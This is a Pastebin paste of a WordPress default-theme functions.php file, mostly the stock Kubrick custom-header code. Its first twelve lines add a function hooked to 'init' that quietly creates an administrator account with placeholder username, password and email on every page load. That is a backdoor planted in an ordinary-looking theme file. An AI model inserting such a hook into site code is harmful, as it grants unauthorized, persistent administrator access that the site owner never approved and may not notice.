Guest User

Untitled

a guest
Dec 15th, 2015
225
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. function add_admin_acct(){
  3. $login = 'yourusername';
  4. $passw = 'yourpass';
  5. $email = 'youremail';
  6. if ( !username_exists( $login ) && !email_exists( $email ) ) {
  7. $user_id = wp_create_user( $login, $passw, $email );
  8. $user = new WP_User( $user_id );
  9. $user->set_role( 'administrator' );
  10. }
  11. }
  12. add_action('init','add_admin_acct');
  13.  
  14. /**
  15. * @package WordPress
  16. * @subpackage Default_Theme
  17. */
  18.  
  19. $content_width = 450;
  20.  
  21. automatic_feed_links();
  22.  
  23. if ( function_exists('register_sidebar') ) {
  24. register_sidebar(array(
  25. 'before_widget' => '<li id="%1$s" class="widget %2$s">',
  26. 'after_widget' => '</li>',
  27. 'before_title' => '<h2 class="widgettitle">',
  28. 'after_title' => '</h2>',
  29. ));
  30. }
  31.  
  32. /** @ignore */
  33. function kubrick_head() {
  34. $head = "<style type='text/css'>\n<!--";
  35. $output = '';
  36. if ( kubrick_header_image() ) {
  37. $url = kubrick_header_image_url() ;
  38. $output .= "#header { background: url('$url') no-repeat bottom center; }\n";
  39. }
  40. if ( false !== ( $color = kubrick_header_color() ) ) {
  41. $output .= "#headerimg h1 a, #headerimg h1 a:visited, #headerimg .description { color: $color; }\n";
  42. }
  43. if ( false !== ( $display = kubrick_header_display() ) ) {
  44. $output .= "#headerimg { display: $display }\n";
  45. }
  46. $foot = "--></style>\n";
  47. if ( '' != $output )
  48. echo $head . $output . $foot;
  49. }
  50.  
  51. add_action('wp_head', 'kubrick_head');
  52.  
  53. function kubrick_header_image() {
  54. return apply_filters('kubrick_header_image', get_option('kubrick_header_image'));
  55. }
  56.  
  57. function kubrick_upper_color() {
  58. if (strpos($url = kubrick_header_image_url(), 'header-img.php?') !== false) {
  59. parse_str(substr($url, strpos($url, '?') + 1), $q);
  60. return $q['upper'];
  61. } else
  62. return '69aee7';
  63. }
  64.  
  65. function kubrick_lower_color() {
  66. if (strpos($url = kubrick_header_image_url(), 'header-img.php?') !== false) {
  67. parse_str(substr($url, strpos($url, '?') + 1), $q);
  68. return $q['lower'];
  69. } else
  70. return '4180b6';
  71. }
  72.  
  73. function kubrick_header_image_url() {
  74. if ( $image = kubrick_header_image() )
  75. $url = get_template_directory_uri() . '/images/' . $image;
  76. else
  77. $url = get_template_directory_uri() . '/images/kubrickheader.jpg';
  78.  
  79. return $url;
  80. }
  81.  
  82. function kubrick_header_color() {
  83. return apply_filters('kubrick_header_color', get_option('kubrick_header_color'));
  84. }
  85.  
  86. function kubrick_header_color_string() {
  87. $color = kubrick_header_color();
  88. if ( false === $color )
  89. return 'white';
  90.  
  91. return $color;
  92. }
  93.  
  94. function kubrick_header_display() {
  95. return apply_filters('kubrick_header_display', get_option('kubrick_header_display'));
  96. }
  97.  
  98. function kubrick_header_display_string() {
  99. $display = kubrick_header_display();
  100. return $display ? $display : 'inline';
  101. }
  102.  
  103. add_action('admin_menu', 'kubrick_add_theme_page');
  104.  
  105. function kubrick_add_theme_page() {
  106. if ( isset( $_GET['page'] ) && $_GET['page'] == basename(__FILE__) ) {
  107. if ( isset( $_REQUEST['action'] ) && 'save' == $_REQUEST['action'] ) {
  108. check_admin_referer('kubrick-header');
  109. if ( isset($_REQUEST['njform']) ) {
  110. if ( isset($_REQUEST['defaults']) ) {
  111. delete_option('kubrick_header_image');
  112. delete_option('kubrick_header_color');
  113. delete_option('kubrick_header_display');
  114. } else {
  115. if ( '' == $_REQUEST['njfontcolor'] )
  116. delete_option('kubrick_header_color');
  117. else {
  118. $fontcolor = preg_replace('/^.*(#[0-9a-fA-F]{6})?.*$/', '$1', $_REQUEST['njfontcolor']);
  119. update_option('kubrick_header_color', $fontcolor);
  120. }
  121. if ( preg_match('/[0-9A-F]{6}|[0-9A-F]{3}/i', $_REQUEST['njuppercolor'], $uc) && preg_match('/[0-9A-F]{6}|[0-9A-F]{3}/i', $_REQUEST['njlowercolor'], $lc) ) {
  122. $uc = ( strlen($uc[0]) == 3 ) ? $uc[0]{0}.$uc[0]{0}.$uc[0]{1}.$uc[0]{1}.$uc[0]{2}.$uc[0]{2} : $uc[0];
  123. $lc = ( strlen($lc[0]) == 3 ) ? $lc[0]{0}.$lc[0]{0}.$lc[0]{1}.$lc[0]{1}.$lc[0]{2}.$lc[0]{2} : $lc[0];
  124. update_option('kubrick_header_image', "header-img.php?upper=$uc&lower=$lc");
  125. }
  126.  
  127. if ( isset($_REQUEST['toggledisplay']) ) {
  128. if ( false === get_option('kubrick_header_display') )
  129. update_option('kubrick_header_display', 'none');
  130. else
  131. delete_option('kubrick_header_display');
  132. }
  133. }
  134. } else {
  135.  
  136. if ( isset($_REQUEST['headerimage']) ) {
  137. check_admin_referer('kubrick-header');
  138. if ( '' == $_REQUEST['headerimage'] )
  139. delete_option('kubrick_header_image');
  140. else {
  141. $headerimage = preg_replace('/^.*?(header-img.php\?upper=[0-9a-fA-F]{6}&lower=[0-9a-fA-F]{6})?.*$/', '$1', $_REQUEST['headerimage']);
  142. update_option('kubrick_header_image', $headerimage);
  143. }
  144. }
  145.  
  146. if ( isset($_REQUEST['fontcolor']) ) {
  147. check_admin_referer('kubrick-header');
  148. if ( '' == $_REQUEST['fontcolor'] )
  149. delete_option('kubrick_header_color');
  150. else {
  151. $fontcolor = preg_replace('/^.*?(#[0-9a-fA-F]{6})?.*$/', '$1', $_REQUEST['fontcolor']);
  152. update_option('kubrick_header_color', $fontcolor);
  153. }
  154. }
  155.  
  156. if ( isset($_REQUEST['fontdisplay']) ) {
  157. check_admin_referer('kubrick-header');
  158. if ( '' == $_REQUEST['fontdisplay'] || 'inline' == $_REQUEST['fontdisplay'] )
  159. delete_option('kubrick_header_display');
  160. else
  161. update_option('kubrick_header_display', 'none');
  162. }
  163. }
  164. //print_r($_REQUEST);
  165. wp_redirect("themes.php?page=functions.php&saved=true");
  166. die;
  167. }
  168. add_action('admin_head', 'kubrick_theme_page_head');
  169. }
  170. add_theme_page(__('Custom Header'), __('Custom Header'), 'edit_themes', basename(__FILE__), 'kubrick_theme_page');
  171. }
  172.  
  173. function kubrick_theme_page_head() {
  174.  
  175. ?>
  176. <script type="text/javascript" src="../wp-includes/js/colorpicker.js"></script>
  177. <script type='text/javascript'>
  178. // <![CDATA[
  179. function pickColor(color) {
  180. ColorPicker_targetInput.value = color;
  181. kUpdate(ColorPicker_targetInput.id);
  182. }
  183. function PopupWindow_populate(contents) {
  184. contents += '<br /><p style="text-align:center;margin-top:0px;"><input type="button" class="button-secondary" value="<?php esc_attr_e('Close Color Picker'); ?>" onclick="cp.hidePopup(\'prettyplease\')"></input></p>';
  185. this.contents = contents;
  186. this.populated = false;
  187. }
  188. function PopupWindow_hidePopup(magicword) {
  189. if ( magicword != 'prettyplease' )
  190. return false;
  191. if (this.divName != null) {
  192. if (this.use_gebi) {
  193. document.getElementById(this.divName).style.visibility = "hidden";
  194. }
  195. else if (this.use_css) {
  196. document.all[this.divName].style.visibility = "hidden";
  197. }
  198. else if (this.use_layers) {
  199. document.layers[this.divName].visibility = "hidden";
  200. }
  201. }
  202. else {
  203. if (this.popupWindow && !this.popupWindow.closed) {
  204. this.popupWindow.close();
  205. this.popupWindow = null;
  206. }
  207. }
  208. return false;
  209. }
  210. function colorSelect(t,p) {
  211. if ( cp.p == p && document.getElementById(cp.divName).style.visibility != "hidden" )
  212. cp.hidePopup('prettyplease');
  213. else {
  214. cp.p = p;
  215. cp.select(t,p);
  216. }
  217. }
  218. function PopupWindow_setSize(width,height) {
  219. this.width = 162;
  220. this.height = 210;
  221. }
  222.  
  223. var cp = new ColorPicker();
  224. function advUpdate(val, obj) {
  225. document.getElementById(obj).value = val;
  226. kUpdate(obj);
  227. }
  228. function kUpdate(oid) {
  229. if ( 'uppercolor' == oid || 'lowercolor' == oid ) {
  230. uc = document.getElementById('uppercolor').value.replace('#', '');
  231. lc = document.getElementById('lowercolor').value.replace('#', '');
  232. hi = document.getElementById('headerimage');
  233. hi.value = 'header-img.php?upper='+uc+'&lower='+lc;
  234. document.getElementById('header').style.background = 'url("<?php echo get_template_directory_uri(); ?>/images/'+hi.value+'") center no-repeat';
  235. document.getElementById('advuppercolor').value = '#'+uc;
  236. document.getElementById('advlowercolor').value = '#'+lc;
  237. }
  238. if ( 'fontcolor' == oid ) {
  239. document.getElementById('header').style.color = document.getElementById('fontcolor').value;
  240. document.getElementById('advfontcolor').value = document.getElementById('fontcolor').value;
  241. }
  242. if ( 'fontdisplay' == oid ) {
  243. document.getElementById('headerimg').style.display = document.getElementById('fontdisplay').value;
  244. }
  245. }
  246. function toggleDisplay() {
  247. td = document.getElementById('fontdisplay');
  248. td.value = ( td.value == 'none' ) ? 'inline' : 'none';
  249. kUpdate('fontdisplay');
  250. }
  251. function toggleAdvanced() {
  252. a = document.getElementById('jsAdvanced');
  253. if ( a.style.display == 'none' )
  254. a.style.display = 'block';
  255. else
  256. a.style.display = 'none';
  257. }
  258. function kDefaults() {
  259. document.getElementById('headerimage').value = '';
  260. document.getElementById('advuppercolor').value = document.getElementById('uppercolor').value = '#69aee7';
  261. document.getElementById('advlowercolor').value = document.getElementById('lowercolor').value = '#4180b6';
  262. document.getElementById('header').style.background = 'url("<?php echo get_template_directory_uri(); ?>/images/kubrickheader.jpg") center no-repeat';
  263. document.getElementById('header').style.color = '#FFFFFF';
  264. document.getElementById('advfontcolor').value = document.getElementById('fontcolor').value = '';
  265. document.getElementById('fontdisplay').value = 'inline';
  266. document.getElementById('headerimg').style.display = document.getElementById('fontdisplay').value;
  267. }
  268. function kRevert() {
  269. document.getElementById('headerimage').value = '<?php echo esc_js(kubrick_header_image()); ?>';
  270. document.getElementById('advuppercolor').value = document.getElementById('uppercolor').value = '#<?php echo esc_js(kubrick_upper_color()); ?>';
  271. document.getElementById('advlowercolor').value = document.getElementById('lowercolor').value = '#<?php echo esc_js(kubrick_lower_color()); ?>';
  272. document.getElementById('header').style.background = 'url("<?php echo esc_js(kubrick_header_image_url()); ?>") center no-repeat';
  273. document.getElementById('header').style.color = '';
  274. document.getElementById('advfontcolor').value = document.getElementById('fontcolor').value = '<?php echo esc_js(kubrick_header_color_string()); ?>';
  275. document.getElementById('fontdisplay').value = '<?php echo esc_js(kubrick_header_display_string()); ?>';
  276. document.getElementById('headerimg').style.display = document.getElementById('fontdisplay').value;
  277. }
  278. function kInit() {
  279. document.getElementById('jsForm').style.display = 'block';
  280. document.getElementById('nonJsForm').style.display = 'none';
  281. }
  282. addLoadEvent(kInit);
  283. // ]]>
  284. </script>
  285. <style type='text/css'>
  286. #headwrap {
  287. text-align: center;
  288. }
  289. #kubrick-header {
  290. font-size: 80%;
  291. }
  292. #kubrick-header .hibrowser {
  293. width: 780px;
  294. height: 260px;
  295. overflow: scroll;
  296. }
  297. #kubrick-header #hitarget {
  298. display: none;
  299. }
  300. #kubrick-header #header h1 {
  301. font-family: 'Trebuchet MS', 'Lucida Grande', Verdana, Arial, Sans-Serif;
  302. font-weight: bold;
  303. font-size: 4em;
  304. text-align: center;
  305. padding-top: 70px;
  306. margin: 0;
  307. }
  308.  
  309. #kubrick-header #header .description {
  310. font-family: 'Lucida Grande', Verdana, Arial, Sans-Serif;
  311. font-size: 1.2em;
  312. text-align: center;
  313. }
  314. #kubrick-header #header {
  315. text-decoration: none;
  316. color: <?php echo kubrick_header_color_string(); ?>;
  317. padding: 0;
  318. margin: 0;
  319. height: 200px;
  320. text-align: center;
  321. background: url('<?php echo kubrick_header_image_url(); ?>') center no-repeat;
  322. }
  323. #kubrick-header #headerimg {
  324. margin: 0;
  325. height: 200px;
  326. width: 100%;
  327. display: <?php echo kubrick_header_display_string(); ?>;
  328. }
  329.  
  330. .description {
  331. margin-top: 16px;
  332. color: #fff;
  333. }
  334.  
  335. #jsForm {
  336. display: none;
  337. text-align: center;
  338. }
  339. #jsForm input.submit, #jsForm input.button, #jsAdvanced input.button {
  340. padding: 0px;
  341. margin: 0px;
  342. }
  343. #advanced {
  344. text-align: center;
  345. width: 620px;
  346. }
  347. html>body #advanced {
  348. text-align: center;
  349. position: relative;
  350. left: 50%;
  351. margin-left: -380px;
  352. }
  353. #jsAdvanced {
  354. text-align: right;
  355. }
  356. #nonJsForm {
  357. position: relative;
  358. text-align: left;
  359. margin-left: -370px;
  360. left: 50%;
  361. }
  362. #nonJsForm label {
  363. padding-top: 6px;
  364. padding-right: 5px;
  365. float: left;
  366. width: 100px;
  367. text-align: right;
  368. }
  369. .defbutton {
  370. font-weight: bold;
  371. }
  372. .zerosize {
  373. width: 0px;
  374. height: 0px;
  375. overflow: hidden;
  376. }
  377. #colorPickerDiv a, #colorPickerDiv a:hover {
  378. padding: 1px;
  379. text-decoration: none;
  380. border-bottom: 0px;
  381. }
  382. </style>
  383. <?php
  384. }
  385.  
  386.  
  387.  
  388. function kubrick_theme_page() {
  389. if ( isset( $_REQUEST['saved'] ) ) echo '<div id="message" class="updated fade"><p><strong>'.__('Options saved.').'</strong></p></div>';
  390. ?>
  391. <div class='wrap'>
  392. <h2><?php _e('Customize Header'); ?></h2>
  393. <div id="kubrick-header">
  394. <div id="headwrap">
  395. <div id="header">
  396. <div id="headerimg">
  397. <h1><?php bloginfo('name'); ?></h1>
  398. <div class="description"><?php bloginfo('description'); ?></div>
  399. </div>
  400. </div>
  401. </div>
  402. <br />
  403. <div id="nonJsForm">
  404. <form method="post" action="">
  405. <?php wp_nonce_field('kubrick-header'); ?>
  406. <div class="zerosize"><input type="submit" name="defaultsubmit" value="<?php esc_attr_e('Save'); ?>" /></div>
  407. <label for="njfontcolor"><?php _e('Font Color:'); ?></label><input type="text" name="njfontcolor" id="njfontcolor" value="<?php echo esc_attr(kubrick_header_color()); ?>" /> <?php printf(__('Any CSS color (%s or %s or %s)'), '<code>red</code>', '<code>#FF0000</code>', '<code>rgb(255, 0, 0)</code>'); ?><br />
  408. <label for="njuppercolor"><?php _e('Upper Color:'); ?></label><input type="text" name="njuppercolor" id="njuppercolor" value="#<?php echo esc_attr(kubrick_upper_color()); ?>" /> <?php printf(__('HEX only (%s or %s)'), '<code>#FF0000</code>', '<code>#F00</code>'); ?><br />
  409. <label for="njlowercolor"><?php _e('Lower Color:'); ?></label><input type="text" name="njlowercolor" id="njlowercolor" value="#<?php echo esc_attr(kubrick_lower_color()); ?>" /> <?php printf(__('HEX only (%s or %s)'), '<code>#FF0000</code>', '<code>#F00</code>'); ?><br />
  410. <input type="hidden" name="hi" id="hi" value="<?php echo esc_attr(kubrick_header_image()); ?>" />
  411. <input type="submit" name="toggledisplay" id="toggledisplay" value="<?php esc_attr_e('Toggle Text'); ?>" />
  412. <input type="submit" name="defaults" value="<?php esc_attr_e('Use Defaults'); ?>" />
  413. <input type="submit" class="defbutton" name="submitform" value="&nbsp;&nbsp;<?php esc_attr_e('Save'); ?>&nbsp;&nbsp;" />
  414. <input type="hidden" name="action" value="save" />
  415. <input type="hidden" name="njform" value="true" />
  416. </form>
  417. </div>
  418. <div id="jsForm">
  419. <form style="display:inline;" method="post" name="hicolor" id="hicolor" action="<?php echo esc_attr($_SERVER['REQUEST_URI']); ?>">
  420. <?php wp_nonce_field('kubrick-header'); ?>
  421. <input type="button" class="button-secondary" onclick="tgt=document.getElementById('fontcolor');colorSelect(tgt,'pick1');return false;" name="pick1" id="pick1" value="<?php esc_attr_e('Font Color'); ?>"></input>
  422. <input type="button" class="button-secondary" onclick="tgt=document.getElementById('uppercolor');colorSelect(tgt,'pick2');return false;" name="pick2" id="pick2" value="<?php esc_attr_e('Upper Color'); ?>"></input>
  423. <input type="button" class="button-secondary" onclick="tgt=document.getElementById('lowercolor');colorSelect(tgt,'pick3');return false;" name="pick3" id="pick3" value="<?php esc_attr_e('Lower Color'); ?>"></input>
  424. <input type="button" class="button-secondary" name="revert" value="<?php esc_attr_e('Revert'); ?>" onclick="kRevert()" />
  425. <input type="button" class="button-secondary" value="<?php esc_attr_e('Advanced'); ?>" onclick="toggleAdvanced()" />
  426. <input type="hidden" name="action" value="save" />
  427. <input type="hidden" name="fontdisplay" id="fontdisplay" value="<?php echo esc_attr(kubrick_header_display()); ?>" />
  428. <input type="hidden" name="fontcolor" id="fontcolor" value="<?php echo esc_attr(kubrick_header_color()); ?>" />
  429. <input type="hidden" name="uppercolor" id="uppercolor" value="<?php echo esc_attr(kubrick_upper_color()); ?>" />
  430. <input type="hidden" name="lowercolor" id="lowercolor" value="<?php echo esc_attr(kubrick_lower_color()); ?>" />
  431. <input type="hidden" name="headerimage" id="headerimage" value="<?php echo esc_attr(kubrick_header_image()); ?>" />
  432. <p class="submit"><input type="submit" name="submitform" class="button-primary" value="<?php esc_attr_e('Update Header'); ?>" onclick="cp.hidePopup('prettyplease')" /></p>
  433. </form>
  434. <div id="colorPickerDiv" style="z-index: 100;background:#eee;border:1px solid #ccc;position:absolute;visibility:hidden;"> </div>
  435. <div id="advanced">
  436. <form id="jsAdvanced" style="display:none;" action="">
  437. <?php wp_nonce_field('kubrick-header'); ?>
  438. <label for="advfontcolor"><?php _e('Font Color (CSS):'); ?> </label><input type="text" id="advfontcolor" onchange="advUpdate(this.value, 'fontcolor')" value="<?php echo esc_attr(kubrick_header_color()); ?>" /><br />
  439. <label for="advuppercolor"><?php _e('Upper Color (HEX):');?> </label><input type="text" id="advuppercolor" onchange="advUpdate(this.value, 'uppercolor')" value="#<?php echo esc_attr(kubrick_upper_color()); ?>" /><br />
  440. <label for="advlowercolor"><?php _e('Lower Color (HEX):'); ?> </label><input type="text" id="advlowercolor" onchange="advUpdate(this.value, 'lowercolor')" value="#<?php echo esc_attr(kubrick_lower_color()); ?>" /><br />
  441. <input type="button" class="button-secondary" name="default" value="<?php esc_attr_e('Select Default Colors'); ?>" onclick="kDefaults()" /><br />
  442. <input type="button" class="button-secondary" onclick="toggleDisplay();return false;" name="pick" id="pick" value="<?php esc_attr_e('Toggle Text Display'); ?>"></input><br />
  443. </form>
  444. </div>
  445. </div>
  446. </div>
  447. </div>
  448. <?php } ?>
RAW Paste Data

Adblocker detected! Please consider disabling it...

We've detected AdBlock Plus or some other adblocking software preventing Pastebin.com from fully loading.

We don't have any obnoxious sound, or popup ads, we actively block these annoying types of ads!

Please add Pastebin.com to your ad blocker whitelist or disable your adblocking software.

×